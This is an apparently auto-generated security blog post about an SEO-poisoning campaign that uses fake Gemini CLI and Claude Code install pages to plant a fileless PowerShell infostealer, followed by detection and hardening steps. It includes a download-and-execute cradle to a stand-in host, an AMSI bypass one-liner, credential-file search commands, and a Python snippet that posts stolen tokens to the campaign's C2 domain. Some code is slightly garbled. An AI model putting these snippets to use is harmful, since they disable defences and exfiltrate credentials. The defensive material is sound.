Listen to this Post
Introduction:
A new wave of financially motivated cyberattacks is exploiting the rapid enterprise adoption of AI. By weaponizing search engine optimization (SEO), threat actors are manipulating Google search results to push fake installation pages for popular developer tools like Google’s Gemini CLI and Anthropic’s Claude Code. Unsuspecting developers who follow the malicious instructions inadvertently execute a sophisticated, dual‑action PowerShell script that installs a fileless infostealer directly into system memory, creating a significant supply‑chain risk for corporate networks.
Learning Objectives:
Analyze the Attack Chain: Understand how SEO poisoning is used to hijack developer workflows and deliver malicious payloads via fake CLI installers.
Identify Malicious Techniques: Learn about the evasion methods employed by the malware, including AMSI bypass, ETW patching, and reflective loading.
Implement Defensive Measures: Acquire actionable Linux and Windows commands, configurations, and scripts to detect, mitigate, and harden environments against this supply‑chain attack.
You Should Know:
- How the Attack Chain Works: From Search to Shell
This attack begins when a developer searches for installation instructions for AI tools like Google’s Gemini CLI or Anthropic’s Claude Code. Cybercriminals use SEO poisoning to push malicious domains, such as `geminicli[.]co[.]com` or claudecode[.]co[.]com, above legitimate vendor results in Google.
When a victim lands on the fake page, they find a visually convincing clone of the official documentation. Instead of a standard package manager command, the site instructs them to paste a PowerShell command into their terminal. This command triggers a two‑stage sequence: it silently fetches a fileless infostealer from an attacker‑controlled C2 server and simultaneously installs the genuine CLI package from the official npm registry.
Step‑by‑Step Guide: Replicating the Attack Chain in a Sandbox
To understand and defend against this, you can safely replicate the network patterns in an isolated environment.
1. Simulate the Malicious PowerShell Command:
DO NOT RUN IN PRODUCTION. Use a sandboxed environment.
The actual command uses 'irm' (Invoke-RestMethod) and 'iex' (Invoke-Expression)
to download and execute a payload from a C2 server.
Write-Host "[] Simulating the malicious download cradle..."
Instead of reaching out to a real C2, use a controlled test URL.
$test_url = "https://your-sandbox-server.com/test-payload"
try {
$payload = Invoke-RestMethod -Uri $test_url -ErrorAction Stop
Write-Host "[!] Simulated payload execution from $test_url"
} catch {
Write-Host "[-] Failed to reach $test_url"
}
2. Analyze the npm Install Execution:
The attackers run the genuine npm install command alongside the malicious download to create a diversion. While the developer sees normal progress bars, the malware operates in the background.
Simulate the legitimate CLI install that hides the malicious activity echo "Simulating the legitimate CLI installation from npm..." npm install -g @google/gemini-cli This is the genuine package echo "While this runs, the malware is executing its payload in memory."
2. Understanding Fileless Malware and Memory Execution
Fileless malware executes directly in system memory (RAM) without writing a malicious file to disk, which makes it extremely difficult for traditional file‑based antivirus solutions to detect. This campaign uses a classic `irm | iex` (Invoke‑RestMethod piped to Invoke‑Expression) pattern to download and execute a PowerShell payload entirely in memory.
Step‑by‑Step Guide: How Fileless Execution Works
The following code shows a simplified, educational example of how a payload can be fetched and run without touching the disk.
1. The Malicious Download Cradle:
This is the core technique. The attacker's server returns a script block, which is immediately executed by Invoke-Expression. DO NOT RUN - EDUCATIONAL EXAMPLE ONLY $scriptBlock = Invoke-RestMethod -Uri "http://malicious-server.com/payload.ps1" Invoke-Expression $scriptBlock
The payload script (e.g., payload.ps1) is never saved to a file. It exists only in the memory space of the PowerShell process.
2. Detecting Suspicious `irm | iex` Patterns:
Security teams can use PowerShell logging to detect these patterns. Enable “PowerShell Script Block Logging” via Group Policy or the following command:
Run as Administrator to enable Script Block Logging Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
Once enabled, events with IDs 4104 (Executing Script Block) will be recorded in the Event Viewer under “Applications and Services Logs/Microsoft/Windows/PowerShell/Operational.” Look for logs containing the string `irm` or Invoke-Expression.
3. Evasion Techniques: AMSI Bypass and ETW Patching
Once the malware is in memory, it immediately neutralizes Microsoft Windows endpoint visibility. It patches Windows Event Tracing for Windows (ETW) to suppress PowerShell telemetry and disables the Antimalware Scan Interface (AMSI), which allows the obfuscated script to run without triggering signature‑based or heuristic security alerts.
Step‑by‑Step Guide: Detecting AMSI Bypass Attempts
AMSI integrates with PowerShell to allow security products to inspect scripts before execution. Attackers use various methods to disable it.
1. Common AMSI Bypass Technique (for educational understanding):
A common bypass involves setting a specific `amsiInitFailed` flag to true.
This is a well-known bypass. DO NOT RUN IN PRODUCTION.
[bash].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
2. Detecting the Bypass:
You can monitor for attempts to access the `AmsiUtils` class using advanced PowerShell logging.
Enable PowerShell Module Logging to capture .NET type access
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1
Add the "Microsoft.PowerShell.Security" module for monitoring
$moduleNames = @{ "ModuleNames" = @("Microsoft.PowerShell.Security") }
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "ModuleLogging" -Value $moduleNames
Additionally, deploy custom detection rules in your SIEM for the specific obfuscation patterns used in these attacks. For example, hunting for strings like `amsiInitFailed` or `System.Management.Automation.AmsiUtils` in script logs is a strong indicator of compromise.
4. Credential Harvesting and Data Exfiltration
Operating in an unmonitored state, the malware uses the Windows Restart Manager API and C reflection to interrogate the host. It actively targets developer workstations by extracting stored credentials, session cookies, and local state keys from enterprise communication tools like Slack, Microsoft Teams, and Discord. Stealing active session tokens allows attackers to bypass multi‑factor authentication (MFA) requirements entirely. The malware also targets remote access tools like WinSCP and PuTTY, OpenVPN configuration files, and locally synced cloud storage directories. All harvested data is encrypted and exfiltrated to C2 servers mimicking legitimate Microsoft infrastructure, such as `events[.]msft23[.]com` and events[.]ms709[.]com.
Step‑by‑Step Guide: Hunting for Session Tokens and C2 Communications
1. Manually Check for Session Token Files (Linux/macOS):
Attackers often target token storage locations. On a Linux or macOS machine, you can search for common credential files.
Search for Discord, Slack, or Chrome token files sudo find / -name "token" 2>/dev/null | grep -E "discord|slack|chrome" Search for OpenVPN configuration files sudo find / -name ".ovpn" 2>/dev/null Check for AWS CLI credentials cat ~/.aws/credentials
- Detect Exfiltration to C2 Servers with Sysmon (Windows):
Use Sysmon to monitor for network connections to known malicious domains. First, install Sysmon, then add a configuration to generate events for connections to suspicious domains.<!-- Example Sysmon rule snippet to alert on connections to known malicious domains --> <RuleGroup name="C2_Detection" groupRelation="or"> <NetworkConnect onmatch="include"> <DestinationHostname condition="end with">.msft23.com</DestinationHostname> <DestinationHostname condition="end with">.ms709.com</DestinationHostname> </NetworkConnect> </RuleGroup>
After applying this rule, use Event Viewer to filter for Sysmon Event ID 3 (Network Connection) with destination hostnames matching your IOC list. Immediately isolate any endpoint that connects to these domains.
3. Simulate the Encryption and Exfiltration Step:
Educational example of how the malware might encrypt and send data
import json
import requests
from cryptography.fernet import Fernet
Simulate harvested credentials
data = {"slack_token": "xoxp-12345", "aws_key": "AKIAIOSFODNN7EXAMPLE"}
Encrypt the data
key = Fernet.generate_key()
cipher = Fernet(key)
encrypted_data = cipher.encrypt(json.dumps(data).encode())
Send to a C2 endpoint (DO NOT RUN - this is a simulation)
response = requests.post("https://events.msft23.com/process", data=encrypted_data)
5. Hardening Endpoints Against Fileless Malware
Defenders can significantly reduce the attack surface by implementing strict controls on PowerShell and application execution. The article specifically recommends enforcing PowerShell Constrained Language Mode and utilizing application control to prevent script execution from untrusted sources.
Step‑by‑Step Guide: Enforcing PowerShell Constrained Language Mode
Constrained Language Mode (CLM) restricts the language elements available in PowerShell, preventing many of the methods used for reflection and memory injection.
- Enable CLM for Non‑Admins via Group Policy (Windows):
Navigate toComputer Configuration -> Administrative Templates -> Windows Components -> Windows PowerShell. Enable the policy “Turn on PowerShell Constrained Language Mode.” This applies CLM for all users except those who are local administrators, balancing security with administrative needs.
2. Enable CLM for All Users via Registry:
If you need to enforce CLM for all users, including administrators, use the following registry key:
Run as Administrator $registryPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell" New-Item -Path $registryPath -Force | Out-Null New-ItemProperty -Path $registryPath -Name "PowerShellLanguageMode" -Value "ConstrainedLanguage" -PropertyType String -Force
After a policy refresh or reboot, run `$ExecutionContext.SessionState.LanguageMode` in any PowerShell session to verify the mode is set to “ConstrainedLanguage.”
3. Application Control with AppLocker (Windows):
Configure AppLocker to prevent PowerShell scripts from running from untrusted locations (e.g., a user’s `Downloads` folder or temporary directories). Create a rule that denies execution of `.ps1` files from all paths except `Program Files` and Windows\System32. This effectively blocks the attack chain, as the malicious script is typically executed from a temporary or user‑writable directory.
6. Blocking Malicious Infrastructure at the Network Level
Proactive network defense is critical. The malicious domains and IP addresses provided in the article can be fed into firewalls, proxies, and DNS filters to prevent initial access and C2 callback.
Step‑by‑Step Guide: Blocking Malicious Domains
1. List of Malicious Indicators (IOCs):
The following indicators have been identified in this campaign:
Fake Installation Domains: `geminicli[.]co[.]com`, `claudecode[.]co[.]com`
C2 Exfiltration Domains: `events[.]msft23[.]com`, `events[.]ms709[.]com`
Targeted C2 Endpoint: `/process` (POST requests to the above domains)
2. Blocking with Windows Hosts File:
For a quick, single‑system solution, add the malicious domains to the Windows `hosts` file, resolving them to 127.0.0.1.
Open the hosts file in Notepad as Administrator notepad C:\Windows\System32\drivers\etc\hosts Add the following lines at the end of the file: 127.0.0.1 events.msft23.com 127.0.0.1 events.ms709.com 127.0.0.1 geminicli.co.com 127.0.0.1 claudecode.co.com
3. Blocking with Linux iptables:
On Linux, use `iptables` to drop packets destined for the C2 domains.
Block traffic to the exfiltration domain iptables -A OUTPUT -d events.msft23.com -j DROP iptables -A OUTPUT -d events.ms709.com -j DROP Save the rules (this command varies by distribution) iptables-save > /etc/iptables/rules.v4
4. Automated Blocking with Script:
Use a script to push these blocks to multiple systems via a centrally managed solution like Ansible or Group Policy.
PowerShell function to add entries to the hosts file
function Add-MaliciousDomainsToHosts {
$domains = @("events.msft23.com", "events.ms709.com", "geminicli.co.com", "claudecode.co.com")
$hostsPath = "$env:SystemRoot\System32\drivers\etc\hosts"
foreach ($domain in $domains) {
if ((Get-Content $hostsPath) -notcontains "127.0.0.1 $domain") {
"127.0.0.1 $domain" | Out-File -FilePath $hostsPath -Encoding ascii -Append
}
}
}
Execute the function
Add-MaliciousDomainsToHosts
What Undercode Say:
Key Takeaway 1: Attackers are shifting from targeting users to directly manipulating developer workflows. By poisoning SEO for AI tooling, they bypass traditional security perimeters and inject malware into the software supply chain at the moment of installation. Defenders must treat developer endpoints as high‑value assets and enforce strict controls on PowerShell and script execution from untrusted sources.
Key Takeaway 2: This campaign brilliantly combines a fileless, evasive payload with a legitimate npm install to create a diversion. The malware’s ability to disable AMSI and patch ETW highlights the critical need for security teams to move beyond signature‑based detection and proactively log and hunt for suspicious PowerShell patterns (e.g., irm | iex). Enforcing Constrained Language Mode remains one of the most effective, yet underutilized, defenses against such attacks.
Expected Output:
Prediction:
This attack is a harbinger of a broader trend. As AI tooling becomes even more integrated into enterprise development pipelines, the incentive for financially motivated actors to poison SEO for these platforms will skyrocket. We will likely see the emergence of “AI‑themed” malware‑as‑a‑service (MaaS) kits designed specifically to automate the creation of fake CLI documentation pages. Consequently, enterprises will be forced to implement “trusted installer” registries and digitally sign all developer tool installation scripts, moving away from the insecure practice of copying and pasting commands from search results. The cat‑and‑mouse game will escalate, with attackers weaponizing generative AI to create hyper‑realistic, dynamic phishing pages that can evade even vigilant human inspection.
▶️ Related Video (82% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Varshu25 Cybercriminals – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
